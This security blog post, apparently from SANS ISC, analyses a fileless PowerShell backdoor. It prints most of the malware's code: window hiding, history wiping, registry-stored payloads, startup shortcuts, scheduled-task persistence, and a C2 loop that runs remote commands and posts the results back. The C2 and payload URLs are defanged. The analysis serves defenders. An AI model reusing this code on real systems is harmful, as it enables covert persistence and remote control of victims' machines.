My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

PowerShell Script with Fileless Capability

Published: 2022-07-25. Last Updated: 2022-07-25 14:06:42 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted a malicious PowerShell script that implements interesting techniques. One of them is to store the payload into a registry key. This is pretty common for “fileless” malware. Their goal is to restrict as much as possible the footprint of the malware on the filesystem. The script is executed from a simple script called "client.bat".

First, because it is launched from a cmd.exe, the script is hiding its window from the user:

add-type -name win -member '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' -namespace native -ea SilentlyContinue;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);

Then, classic information from the victim’s computer is extracted:

$HostName = (hostname);
$User = [Environment]::UserName;
$regp = "Two"; $regn = "Update";
$NewLine = [System.Environment]::NewLine
$Host.Ui.RawUI.WindowTitle = "$($regp) $($regn)"
$OsName = ((Get-WmiObject Win32_OperatingSystem).Caption).Replace('Microsoft ','');
$Uuid = ((wmic csproduct get UUID | Format-List | Out-String).Replace("UUID","").Trim().ToString());
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")

The script uses AES encryption to exchange data with its C2 server. There are three functions defined:  Create(), Encrypt() and Decrypt(). I won't cover them, they just implement AES activity. Note that the IV is generated from the system UUID:

$Key = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes((($Uuid.ToCharArray() | Select-Object -First 12) -join '')))

Existing ‘cmd’ and ‘powershell’ processes are killed:

try {
    Get-Process powershell -ErrorAction SilentlyContinue | Where-Object ID -ne $PID | Stop-Process -Force -Confirm:$false -ea SilentlyContinue
    Get-Process cmd -ErrorAction SilentlyContinue | Stop-Process -Force -Confirm:$false -ea SilentlyContinue
} catch {
    $ErrorLog += $_.Exception.Message
    Write-Output $ErrorLog
}

It's the first time that I see this: The script tries to remove PSReadLine[1]. Indeed, it provides a history of PowerShell commands and could record activity performed by the malware. Existing history is cleared. This is similar to removing .bash_history on a Linux system.

try {
    if (Get-Command 'Set-PSReadlineOption' -ea SilentlyContinue) {
        Remove-Module psreadline -ea SilentlyContinue;
        Set-PSReadlineOption -HistorySavePath path -ea SilentlyContinue;
        Set-PSReadlineOption -HistorySaveStyle SaveNothing -ea SilentlyContinue;
        Remove-Item -Path (Get-PSReadlineOption).HistorySavePath -ea SilentlyContinue;
        if (gci ((Get-PSReadlineOption).HistorySavePath) -Directory -ea SilentlyContinue | Get-ACL | select "owner" | Where-Object {$_.Owner -like "*$env:UserName*"}) {
            Remove-Item ((Get-PSReadlineOption).HistorySavePath) -force -Recurse
        }
    } else {
        clear-history
    }
} catch {
    $ErrorLog += $_.Exception.Message
    Write-Output $ErrorLog
}

Here comes the filless part. The script is hosted on a website (hxxps://rentry[.]co/twoc/raw). The URL content is downloaded and stored in a registry key:

if ($url -match "http:|https:") {
        $script = (New-Object "Net.Webclient").DownloadString($url);
    }

    $installed = Get-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -ea SilentlyContinue;
    if ($FALSE -eq (Test-Path -Path "HKCU:\Software\$($regp)\")) {
        New-Item -Path "HKCU:\Software\$($regp)";
    }
    
    Set-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -Force -Value $script
    ...

The registry key used is "HKCU\Sofware\Two\Update".

Then, three .lnk files are created. They launch a PowerShell one-liner that will read and execute the code from the registry key:

$obj = New-object -com WScript.Shell
$name = "$regp$regn"+".lnk"
$path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\$name"
$link = $obj.createshortcut($Path)
$link.WindowStyle = 7
$link.TargetPath  = "powershell.exe"
$link.Arguments = " -w hidden -ep bypass -nopr -noni -com (iex(((Get-ItemProperty HKCU:\Software\$($regp)).$($regn))))"
$link.WorkingDirectory = "C:\Windows\System32"
$link.Hotkey = ""
$link.Description = "Two Update"
$link.save()

The shortcut files are created in:

  • $env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\TwoUpdate.lnk
  • $env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internel Explorer.lnk
  • $env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk

Because we are never sure, the script adds persistence via a scheduled task:

$action = New-ScheduledTaskAction -Execute "cmd.exe" " /c start /min powershell -w hidden -ep bypass -nopr -noni -com (iex(((Get-ItemProperty HKCU:\Software\$($regp)).$($regn))))";
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "$($User)";
$principal = New-ScheduledTaskPrincipal "$($User)";
$setting = New-ScheduledTaskSettingsSet -Hidden;
$task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $setting;
Register-ScheduledTask "$($regp)$($regn)" -InputObject $task -ea SilentlyContinue;

if (!((Get-ScheduledTask -ea SilentlyContinue | Where-Object {$_.TaskName -like "$($regp)$($regn)"}))) {

    # schTasks /create /f /sc onlogon /tn "$($regp)$($regn)" /tr "cmd.exe /c start /min powershell -w hidden -ep bypass -nopr -noni -com 'iex(((Get-ItemProperty HKCU:\Software\$($regp)).$($regn)))'"

    $com = "cmd.exe /c start /min powershell -w hidden -ep bypass -nopr -noni -com (iex(((Get-ItemProperty HKCU:\Software\$($regp)).$($regn))))"

     "schTasks /create /f /sc onlogon /tn '$($regp)$($regn)' /tr '$($com)'" | PowerShell.exe -noprofile -
}

The script scans all drive letters (A-Z) and tries to add another shortcut file everywhere. The name is based on the victim's username:

try {
    $drives = (Get-PSDrive).Name -match '^[a-z]$'
    Foreach ($i in $drives) {
        $obj = New-object -com WScript.Shell
        $Path = $i + ":\$env:USERNAME"+".lnk"
        $link = $obj.createshortcut($Path)
        $link.WindowStyle = 7
        $link.TargetPath  = "powershell.exe"
        $link.iconlocation = "%systemroot%\system32\imageres.dll, 117"
        ...

Finally, an infinite loop is started waiting for commands from the C2 server. Information about the victim is passed as HTTP headers. Note that the C2 server is fetched by performing a request to $redirect (hxxps://yip[.]su/two):

while ($true) {
    try {
        $webClient = New-Object System.Net.WebClient;
        $webClient.Headers.add('Uuid', $Uuid);
        $webClient.Headers.add('HostName', $HostName);
        $webClient.Headers.add('OsName', $OsName);
        $webClient.Headers.add('IsAdmin', $IsAdmin);

        try {
            $request = [System.Net.WebRequest]::Create($redirect)
            $response = $request.GetResponse()
            $response.Close()
            $address = $response.ResponseUri.AbsoluteUri
            $resp = $webClient.DownloadString($address);
        } catch { Write-Output $ErrorLog }

        if (![string]::IsNullOrEmpty($resp)) {
            try {
                $send = iex (Decrypt $key $resp) 2>&1 | Out-String;
            } catch {
                $send = $_.Exception.Message | Out-String;
            }
            $webclient.UploadString($address, "POST", (Encrypt $key $send));
            $data = $Null; $resp = $Null; Start-Sleep 1;
        }
    } catch { Write-Output $ErrorLog }
    Start-Sleep 1
}

The URL to fetch the real C2 server is currently not working. It was not possible to investigate further...

[1] https://docs.microsoft.com/en-us/powershell/module/psreadline/about/about_psreadline?view=powershell-7.2

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives